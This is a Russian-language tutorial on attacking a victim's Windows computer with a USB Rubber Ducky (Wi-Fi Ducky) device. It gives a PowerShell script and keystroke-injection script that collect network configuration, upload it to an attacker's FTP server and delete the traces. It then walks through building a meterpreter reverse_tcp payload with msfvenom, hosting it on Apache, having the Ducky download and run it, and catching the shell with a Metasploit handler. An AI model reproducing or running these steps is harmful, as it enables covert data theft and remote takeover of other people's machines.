Всем привет, сейчас я хочу дать вам небольшую инструкцию, в которой вы сможете познакомиться с различными командами используя USB Ducky. Расскажу, как применяется это устройство и что можно сделать с помощью его. Как вы понимаете, есть огромное количество возможны вариантов использования и все они нужны под определенные задачи. Сейчас я вам покажу несколько таких вариантов на практике.
Хочу напомнить, что для совершения атаки нужно каким-либо образом передать данное устройство нашей жертве. Как вы это сделаете уже не относится к данной статье.
Удаленное получение информации о сети PowerShell
Для этого нам понадобится:
1.USB Wi-Fi Ducky
2. Удаленный сервер, на котором будет присутствовать FTP-сервер
3. Смартфон
Основной для этого скрипта будет код, который позволит заполучить данные о сети. Как пример мы будем использовать Get-NetIPConfiguration, это всего навсегда аналог популярной команды ipconfig в консоли винды.
Тыкаем “Добавить” после чего нам нужно будет указать директорию файлов. После чего напротив “Разрешить полный доступ” нам нужно будет поставить галочку.
Итак, вот сам скрипт:
############################################
Get-NetIPConfiguration > ipdata.txt;
#указываем файл для записи данных о сети
$Dir="ipdata.txt"
#указываем директорию FTP-сервера
$ftp = "ftp://<FTP>"
#указываем адрес FTP-сервера (текст в скобочках заменяется на адрес сервера)
$webclient = New-Object System.Net.WebClient
foreach($item in (dir $Dir "*.trc")){"uploading";$uri = New-Object System.Uri($ftp+$item.Name);$webclient.UploadFile($uri, $item.FullName)}
#код для записи файла на сервер. Цикл foreach записан в строку
del ipdata.txt
#удаляем исходный файл с данными о сети
############################################
Прямо в PowerShell вы можете протестировать данный скрипт на наличие ошибок.
После этого нам нужно перенести скрипт как команды для Ducky Script:
GUI r
DELAY 100
STRING powershell
ENTER
DELAY 1000
STRING Get-NetIPConfiguration > ipdata.txt;$Dir="ipdata.txt";$ftp = "ftp://127.0.0.1/F/";$webclient= New-Object System.Net.WebClient;
ENTER
STRING foreach($item in (dir $Dir "*.trc")){"uploading";$uri = New-Object System.Uri($ftp
STRING +
STRING $item.Name);$webclient.UploadFile($uri, $item.FullName)}
ENTER
STRING del ipdata.txt
ENTER
DELAY 100
STRING exit
ENTER
Сразу уточню, что каждая система имеют свой собственный DELAY, а именно задержки при выполнении различных команд. Поэтому для этого нам нужно будет подбирать различные варианты.
Во время того, как скрипт будет работать файл с необходимыми данными о сети будет пересылаться на наш FTP-сервер после чего сразу же уничтожаться с системы человека. Вот пример такого отчета:
Meterpreter
USB Rubber Ducky позволяет не только использовать написанные на нем сценарии, но и загружать исполняемые файлы, который будут работать самостоятельно. Как раз таки об этом сейчас немного поговорим.
Для это всего нам будет необходимо:
1.Компьютер с операционной системой Linux а также установленным на нем Metasploit Framework а также Apache
2. Также нам будет необходим Arduino Micro Pro вместе с Wemos mini d1, которые будет прошит для работы со скриптами Ducky.
3. Компьютер с виндой имеющий PowerShell.
4. Смартфон с возможность подключения к Wi-Fi.
Шаг 1. Создание payload
Первым делом нам нужно узнать ИП-адрес нашей системы, делается это с помощью команды ipconfig. Как вы могли заметить, то наш адрес имеет такой вид – 192.168.0.х
Теперь нам нужно создать исполняемые файл, делается это при помощи данной команды:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.100 lport=5555 -f exe > / root/Desktop/reverse_tcp.exe
Как только она сработает, то мы сразу получит результат ее работы:
Теперь в папке root/Desktop мы сможет найти необходимый нам файл.
Шаг 2. Конфигурирование веб-сервера
Итак, нам надо запустить Apache 2, делает это вот таким образом:
Service apache2 start
Теперь нам нужно скопировать данный файл – reverse_tcp.exe по данном пути – var/www/html.
Теперь нам надо проверить наш сервер на работоспособность, для этого нам нужно вести собственный ип-адрес в адресной строке, там мы должны наблюдать подобное:
Шаг 3. Работа с Wi-fi USB Ducky
Наконец-то, именно на данном этапе мы начинаем использовать нашу программу. Первым делом нам нужно посмотреть на данный скрипт - github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---powershell-wget---execute. Советую его отредактировать и убрать ненужные пробелы с комментариями. Отлично, теперь нам нужно провести замену “service.jar” на имя нашего payload, и Ип-адреса нашей системы.
Подсоединяем устройства, проводим подключения к точке доступа Ducky и загружаем скрипт, который мы получили:
Шаг 4. Атака
Вот и финишная прямая, нажимаем кнопку “Run Script”. Теперь на экране нашей жертвы появится окно с кнопкой “Выполнить” после этого запуск PowerShell на фоне. Начинается скачивание файла, а по его завершению PowerShell закрывается.
Чтобы получить контроль над системой жертвы, нам нужно будет выполнить команду msfconsole. Как только фреймворк будет загружен нам нужно будет ввести данные команды:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit
Если payload сработал, то вы увидите на своем экране вот это:
Когда подключение будет установлено, вы сможете воспользоваться всеми возможностями данной программы.